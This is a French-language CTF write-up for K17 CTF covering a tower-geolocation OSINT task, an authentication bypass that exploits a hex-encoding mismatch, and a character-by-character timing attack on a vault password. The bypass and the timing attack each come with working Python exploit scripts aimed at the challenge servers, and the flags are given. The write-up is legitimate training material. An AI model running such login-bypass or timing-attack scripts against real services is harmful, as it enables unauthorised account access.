Write-up K17 CTF

OSINT radioactive

Catégorie: OSINT

Points: 317

Description

Where is this tower located?
Format du flag: K17{lat,lon} avec coordonnées arrondies à 3 décimales

Solution

Analyse de l'image

Antenne télécom

En zoomant sur la pancarte, on découvre la mention :

Pancarte NSA Site Number

NSA Site Number: 2154?06

Un chiffre est masqué par la grille. Le numéro complet est 2154006.

Recherche OSINT

Le panneau indique un site web australien : www.rfnsa.com.au

Pancarte NSA Site Number

En recherchant le numéro 2154006, on trouve :

Extraction des coordonnées

Arrondissement à 3 décimales :

Flag: K17{-33.717,150.987}

Pass me the salt

Catégorie: Crypto

Points: 200

Description

Se connecter en admin pour afficher le flag.

Solution

🔍 Analyse détaillée du problème

Le serveur présente une vulnérabilité due à une incohérence de format entre l'inscription et la connexion :

# À l'inscription :
password = "admin"
stored = (password).encode().hex()  # "61646d696e"

# À la connexion :
input = "3631363436643639366e"
check = bytes.fromhex(input)  # doit donner b"61646d696e"

Cette incohérence crée une confusion entre :

Exploitation

Pour se connecter en admin, il faut fournir l'hex de la chaîne "61646d696e" :

b"61646d696e".hex() = 3631363436643639366e

Exploit manuel

$ nc challenge.secso.cc 7002
2
Login: admin
Password: 3631363436643639366e

Explication

L'exploit fonctionne car :

Remède

Toujours transformer le mot de passe de la même façon à l'inscription et à la connexion (pas de mélange texte/hex).

Scripts d'exploitation

Version minimale :

import socket, re
HOST, PORT = "challenge.secso.cc", 7002
pwd = "3631363436643639366e"
s = socket.create_connection((HOST,PORT))
s.recv(4096); s.sendall(b"2\n")
s.recv(4096); s.sendall(b"admin\n")
s.recv(4096); s.sendall((pwd+"\n").encode())
out = s.recv(4096).decode()
print(out)
m = re.search(r"K17CTF\{[^}]+\}", out)
if m: print("[FLAG]", m.group(0))

Version complète avec gestion des erreurs :

#!/usr/bin/env python3
import socket, time, sys, re

HOST = "challenge.secso.cc"
PORT = 7002

# calcule le "double-hex" demandé par la logique du chall
# admin -> "admin".encode().hex() = "61646d696e"
# password à taper = bytes("61646d696e","ascii").hex() = "3631363436643639366e"
def double_hex(s: str) -> str:
    return bytes(s.encode().hex(), "ascii").hex()

ADMIN_DHEX = double_hex("admin")  # "3631363436643639366e"

def recv_all_until(sock, needles=(b"(1, 2, 3)>", b"flag", b"Flag", b"Congratulations", b"Invalid"), timeout=2.0):
    sock.settimeout(timeout)
    buf = b""
    t0 = time.time()
    while time.time() - t0 < timeout:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            buf += chunk
            if any(n in buf for n in needles):
                break
        except socket.timeout:
            break
    return buf

def try_admin_once(verbose=True):
    s = socket.create_connection((HOST, PORT), timeout=5)
    # avale la bannière jusqu'à l'invite
    _ = recv_all_until(s, timeout=2.0)

    s.sendall(b"2\n")
    _ = recv_all_until(s, needles=(b"Login:",), timeout=1.0)
    s.sendall(b"admin\n")
    _ = recv_all_until(s, needles=(b"Password:",), timeout=1.0)
    s.sendall((ADMIN_DHEX + "\n").encode())

    resp = recv_all_until(s, timeout=2.0).decode(errors="ignore")
    s.close()

    if verbose:
        last_lines = "\n".join(resp.splitlines()[-10:])
        print("[server tail]")
        print(last_lines)

    if re.search(r"flag|Flag|Congratulations", resp):
        m = re.search(r"(K17\{[^}]+\}|flag\{[^}]+\}|secso\{[^}]+\})", resp)
        if m:
            print(f"FLAG: ")
        else:
            print("Succès")
        return True

    if "Invalid" in resp:
        return False

    return False

def main():
    print(f"Target: {HOST}:{PORT}")
    print(f"Using admin double-hex password: {ADMIN_DHEX}")

    max_tries = 12
    for i in range(1, max_tries+1):
        print(f"\n[=] Attempt {i}/{max_tries}")
        try:
            ok = try_admin_once(verbose=(i == 1 or i % 3 == 0))
            if ok:
                print("[+] Done.")
                return
        except Exception as e:
            print(f"[!] Attempt {i} error: {e}")
        time.sleep(0.3)

    print("No luck after multiple attempts ")
    print("    Relance le script ")

if __name__ == "__main__":
    main()

Flag: K17CTF{s4Lt_4nD_p3pper_is_ov3rr4t3d}

vzult

Catégorie: Web

Points: 250

Description

Trouvez le mot de passe du vault en exploitant une vulnérabilité de timing.

Solution

Analyse

Le serveur présente une vulnérabilité de timing attack :

🎯 Exploitation détaillée du timing attack

L'attaque fonctionne car le serveur vérifie le mot de passe caractère par caractère :

  1. Comportement normal :
    • Mauvais caractère : réponse rapide (~100ms)
    • Le serveur arrête la vérification dès qu'un caractère est incorrect
  2. Comportement avec caractère correct :
    • Premier caractère correct : ~200ms
    • Caractères suivants : ~30ms supplémentaires par caractère
    • Le serveur continue la vérification, d'où le délai plus long
  3. Indices supplémentaires :
    • Taille de réponse différente pour les bons caractères
    • Accumulation progressive des délais
    • Possibilité de construire le mot de passe caractère par caractère
# Exemple de progression des délais :
H    -> 200ms  (bon premier caractère)
Ha   -> 230ms  (bon deuxième caractère)
Hac  -> 260ms  (bon troisième caractère)
Hack -> 290ms  (mot complet correct)

Script d'exploit

import requests, string

url = "https://vault.secso.cc/"
charset = string.ascii_letters + string.digits + "{}_"

known = ""
while True:
    best_char, best_time = None, -1
    for c in charset:
        test = known + c
        r = requests.get(url, params={"password": test})
        text = r.text
        try:
            t = float(text.split("Response time:")[1].split("ms")[0].strip())
        except:
            t = 0.0
        if t > best_time:
            best_char, best_time = c, t
    if best_time <= 0:
        break
    known += best_char
    print("[+] Found so far:", known)
Burp Suite config

Approche manuelle avec Burp

Burp Suite config
Mauvaise tentative
Bonne tentative
Résultat final

On peut aussi utiliser Burp Intruder pour visualiser les différences de timing :

Métho

  1. Test caractère par caractère
  2. Pour 'H' : temps de réponse ~200ms (au lieu de 100ms)
  3. Chaque caractère correct ajoute ~30ms au temps de base
  4. La taille de réponse change aussi pour les caractères corrects